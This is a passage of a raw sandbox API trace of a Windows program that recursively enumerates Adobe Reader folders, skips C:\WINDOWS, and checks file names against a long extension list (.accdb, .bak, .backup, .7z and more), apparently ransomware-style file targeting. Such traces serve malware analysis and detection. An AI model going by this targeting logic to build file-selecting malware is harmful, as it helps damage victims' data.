cAlternateFileName="")) returned 1 [0197.485] FindNextFileW (in: hFindFile=0x4420220, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cef", cAlternateFileName="")) returned 1 [0197.485] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev\\cef") returned 100 [0197.485] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev\\cef") returned 1 [0197.485] lstrlenW (lpString="cef") returned 3 [0197.485] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="cef") returned -1 [0197.485] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4505f78 [0197.485] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev\\cef") returned 100 [0197.485] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev\\cef\\*", lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x44207e0 [0197.485] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0197.485] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0 [0197.485] FindClose (in: hFindFile=0x44207e0 | out: hFindFile=0x44207e0) returned 1 [0197.486] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0197.486] FindNextFileW (in: hFindFile=0x4420220, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 1 [0197.486] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev\\libs") returned 101 [0197.486] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev\\libs") returned 1 [0197.486] lstrlenW (lpString="libs") returned 4 [0197.486] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="libs") returned -1 [0197.486] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4505f78 [0197.486] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev\\libs") returned 101 [0197.486] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev\\libs\\*", lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x44207e0 [0197.486] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0197.486] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0 [0197.486] FindClose (in: hFindFile=0x44207e0 | out: hFindFile=0x44207e0) returned 1 [0197.486] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0197.486] FindNextFileW (in: hFindFile=0x4420220, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 0 [0197.486] FindClose (in: hFindFile=0x4420220 | out: hFindFile=0x4420220) returned 1 [0197.486] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0197.486] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe69c | out: lpFindFileData=0x34fe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0 [0197.486] FindClose (in: hFindFile=0x44205e0 | out: hFindFile=0x44205e0) returned 1 [0197.486] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44e5f68 | out: hHeap=0x420000) returned 1 [0197.486] FindNextFileW (in: hFindFile=0x44205a0, lpFindFileData=0x34fe918 | out: lpFindFileData=0x34fe918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="files", cAlternateFileName="")) returned 1 [0197.487] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files") returned 93 [0197.487] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files") returned 1 [0197.487] lstrlenW (lpString="files") returned 5 [0197.487] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="files") returned -1 [0197.487] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x44e5f68 [0197.487] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files") returned 93 [0197.487] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\*", lpFindFileData=0x34fe69c | out: lpFindFileData=0x34fe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x44205e0 [0197.487] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe69c | out: lpFindFileData=0x34fe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0197.487] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe69c | out: lpFindFileData=0x34fe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 1 [0197.487] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev") returned 97 [0197.487] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev") returned 1 [0197.487] lstrlenW (lpString="dev") returned 3 [0197.487] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="dev") returned -1 [0197.487] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x44f5f70 [0197.487] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev") returned 97 [0197.487] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev\\*", lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4420220 [0197.487] FindNextFileW (in: hFindFile=0x4420220, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0197.488] FindNextFileW (in: hFindFile=0x4420220, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cef", cAlternateFileName="")) returned 1 [0197.488] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev\\cef") returned 101 [0197.488] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev\\cef") returned 1 [0197.488] lstrlenW (lpString="cef") returned 3 [0197.488] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="cef") returned -1 [0197.488] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4505f78 [0197.488] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev\\cef") returned 101 [0197.488] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev\\cef\\*", lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x44207e0 [0197.488] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0197.488] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0 [0197.488] FindClose (in: hFindFile=0x44207e0 | out: hFindFile=0x44207e0) returned 1 [0197.488] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0197.488] FindNextFileW (in: hFindFile=0x4420220, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 1 [0197.488] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev\\libs") returned 102 [0197.488] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev\\libs") returned 1 [0197.488] lstrlenW (lpString="libs") returned 4 [0197.488] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="libs") returned -1 [0197.488] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4505f78 [0197.488] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev\\libs") returned 102 [0197.488] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev\\libs\\*", lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x44207e0 [0197.489] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0197.489] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0 [0197.489] FindClose (in: hFindFile=0x44207e0 | out: hFindFile=0x44207e0) returned 1 [0197.489] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0197.489] FindNextFileW (in: hFindFile=0x4420220, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 0 [0197.489] FindClose (in: hFindFile=0x4420220 | out: hFindFile=0x4420220) returned 1 [0197.489] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0197.489] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe69c | out: lpFindFileData=0x34fe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0 [0197.489] FindClose (in: hFindFile=0x44205e0 | out: hFindFile=0x44205e0) returned 1 [0197.489] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44e5f68 | out: hHeap=0x420000) returned 1 [0197.489] FindNextFileW (in: hFindFile=0x44205a0, lpFindFileData=0x34fe918 | out: lpFindFileData=0x34fe918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x9ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-cef-mac.css", cAlternateFileName="MAIN-C~2.CSS")) returned 1 [0197.489] lstrlenW (lpString="main-cef-mac.css") returned 16 [0197.489] lstrlenW (lpString=".1cd") returned 4 [0197.489] lstrcmpiW (lpString1=".1cd", lpString2=".css") returned -1 [0197.489] lstrlenW (lpString=".3ds") returned 4 [0197.489] lstrcmpiW (lpString1=".3ds", lpString2=".css") returned -1 [0197.489] lstrlenW (lpString=".3fr") returned 4 [0197.489] lstrcmpiW (lpString1=".3fr", lpString2=".css") returned -1 [0197.490] lstrlenW (lpString=".3g2") returned 4 [0197.490] lstrcmpiW (lpString1=".3g2", lpString2=".css") returned -1 [0197.490] lstrlenW (lpString=".3gp") returned 4 [0197.490] lstrcmpiW (lpString1=".3gp", lpString2=".css") returned -1 [0197.490] lstrlenW (lpString=".7z") returned 3 [0197.490] lstrcmpiW (lpString1=".7z", lpString2="css") returned -1 [0197.490] lstrlenW (lpString=".accda") returned 6 [0197.490] lstrcmpiW (lpString1=".accda", lpString2="ac.css") returned -1 [0197.490] lstrlenW (lpString=".accdb") returned 6 [0197.490] lstrcmpiW (lpString1=".accdb", lpString2="ac.css") returned -1 [0197.490] lstrlenW (lpString=".accdc") returned 6 [0197.490] lstrcmpiW (lpString1=".accdc", lpString2="ac.css") returned -1 [0197.490] lstrlenW (lpString=".accde") returned 6 [0197.490] lstrcmpiW (lpString1=".accde", lpString2="ac.css") returned -1 [0197.490] lstrlenW (lpString=".accdt") returned 6 [0197.490] lstrcmpiW (lpString1=".accdt", lpString2="ac.css") returned -1 [0197.490] lstrlenW (lpString=".accdw") returned 6 [0197.490] lstrcmpiW (lpString1=".accdw", lpString2="ac.css") returned -1 [0197.490] lstrlenW (lpString=".adb") returned 4 [0197.490] lstrcmpiW (lpString1=".adb", lpString2=".css") returned -1 [0197.490] lstrlenW (lpString=".adp") returned 4 [0197.490] lstrcmpiW (lpString1=".adp", lpString2=".css") returned -1 [0197.490] lstrlenW (lpString=".ai") returned 3 [0197.490] lstrcmpiW (lpString1=".ai", lpString2="css") returned -1 [0197.490] lstrlenW (lpString=".ai3") returned 4 [0197.490] lstrcmpiW (lpString1=".ai3", lpString2=".css") returned -1 [0197.490] lstrlenW (lpString=".ai4") returned 4 [0197.490] lstrcmpiW (lpString1=".ai4", lpString2=".css") returned -1 [0197.490] lstrlenW (lpString=".ai5") returned 4 [0197.490] lstrcmpiW (lpString1=".ai5", lpString2=".css") returned -1 [0197.491] lstrlenW (lpString=".ai6") returned 4 [0197.491] lstrcmpiW (lpString1=".ai6", lpString2=".css") returned -1 [0197.491] lstrlenW (lpString=".ai7") returned 4 [0197.491] lstrcmpiW (lpString1=".ai7", lpString2=".css") returned -1 [0197.491] lstrlenW (lpString=".ai8") returned 4 [0197.491] lstrcmpiW (lpString1=".ai8", lpString2=".css") returned -1 [0197.491] lstrlenW (lpString=".anim") returned 5 [0197.491] lstrcmpiW (lpString1=".anim", lpString2="c.css") returned -1 [0197.491] lstrlenW (lpString=".arw") returned 4 [0197.491] lstrcmpiW (lpString1=".arw", lpString2=".css") returned -1 [0197.491] lstrlenW (lpString=".as") returned 3 [0197.491] lstrcmpiW (lpString1=".as", lpString2="css") returned -1 [0197.491] lstrlenW (lpString=".asa") returned 4 [0197.491] lstrcmpiW (lpString1=".asa", lpString2=".css") returned -1 [0197.491] lstrlenW (lpString=".asc") returned 4 [0197.491] lstrcmpiW (lpString1=".asc", lpString2=".css") returned -1 [0197.491] lstrlenW (lpString=".ascx") returned 5 [0197.491] lstrcmpiW (lpString1=".ascx", lpString2="c.css") returned -1 [0197.491] lstrlenW (lpString=".asm") returned 4 [0197.491] lstrcmpiW (lpString1=".asm", lpString2=".css") returned -1 [0197.491] lstrlenW (lpString=".asmx") returned 5 [0197.491] lstrcmpiW (lpString1=".asmx", lpString2="c.css") returned -1 [0197.491] lstrlenW (lpString=".asp") returned 4 [0197.491] lstrcmpiW (lpString1=".asp", lpString2=".css") returned -1 [0197.491] lstrlenW (lpString=".aspx") returned 5 [0197.491] lstrcmpiW (lpString1=".aspx", lpString2="c.css") returned -1 [0197.491] lstrlenW (lpString=".asr") returned 4 [0197.491] lstrcmpiW (lpString1=".asr", lpString2=".css") returned -1 [0197.491] lstrlenW (lpString=".asx") returned 4 [0197.491] lstrcmpiW (lpString1=".asx", lpString2=".css") returned -1 [0197.491] lstrlenW (lpString=".avi") returned 4 [0197.491] lstrcmpiW (lpString1=".avi", lpString2=".css") returned -1 [0197.492] lstrlenW (lpString=".avs") returned 4 [0197.492] lstrcmpiW (lpString1=".avs", lpString2=".css") returned -1 [0197.492] lstrlenW (lpString=".backup") returned 7 [0197.492] lstrcmpiW (lpString1=".backup", lpString2="mac.css") returned -1 [0197.492] lstrlenW (lpString=".bak") returned 4 [0197.492] lstrcmpiW (lpString1=".bak", lpString2=".css") returned -1 [0197.492] lstrlenW (lpString=".bay") returned 4 [0197.492] lstrcmpiW (lpString1=".bay", lpString2=".css") returned -1 [0197.492] lstrlenW (lpString=".bd") returned 3 [0197.492] lstrcmpiW (lpString1=".bd", lpString2="css") returned -1 [0197.492] lstrlenW (lpString=".bin") returned 4 [0197.492] lstrcmpiW (lpString1=".bin", lpString2=".css") returned -1 [0197.492] lstrlenW (lpString=".bmp") returned 4 [0197.492] lstrcmpiW (lpString1=".bmp", lpString2=".css") returned -1 [0197.492] lstrlenW (lpString=".bz2") returned 4 [0197.492] lstrcmpiW (lpString1=".bz2", lpString2=".css") returned -1 [0197.492] lstrlenW (lpString=".c") returned 2 [0197.492] lstrcmpiW (lpString1=".c", lpString2="ss") returned -1 [0197.492] lstrlenW (lpString=".cdr") returned 4 [0197.492] lstrcmpiW (lpString1=".cdr", lpString2=".css") returned -1 [0197.492] lstrlenW (lpString=".cer") returned 4 [0197.492] 